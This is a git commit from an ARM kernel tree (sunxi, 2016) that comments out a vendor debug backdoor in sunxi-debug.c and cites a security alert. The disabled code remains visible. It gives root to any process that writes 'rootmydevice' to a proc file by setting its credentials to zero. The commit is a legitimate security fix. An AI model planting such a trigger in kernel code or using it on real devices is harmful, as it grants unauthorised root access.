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Merge pull request #1 from ingamedeo/sun8i

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Security vulnerability fix
We are solving this with a patch anyway.
This commit is contained in:
Igor Pečovnik
2016-06-02 06:57:24 +02:00
parent 1bbb331aab c609d53a3c
commit 4075887a50
1 changed files with 10 additions and 1 deletions
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11
arch/arm/mach-sunxi/sunxi-debug.c
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@@ -37,7 +37,15 @@ static int sunxi_proc_su_write(struct file *file, const char __user *buffer,
kfree(buf);
return -EFAULT;
}
/*
COMMENTED! THIS CODE ALLOWS FOR PRIVILEGE ESCALATION!
http://forum.armbian.com/index.php/topic/1108-security-alert-for-allwinner-sun8i-h3a83th8/
Note: This entire file should probably be removed
if(!strncmp("rootmydevice",(char*)buf,12)){
cred = (struct cred *)__task_cred(current);
cred->uid = 0;
@@ -50,6 +58,7 @@ static int sunxi_proc_su_write(struct file *file, const char __user *buffer,
cred->fsgid = 0;
printk("now you are root\n");
}
*/
kfree(buf);
return count;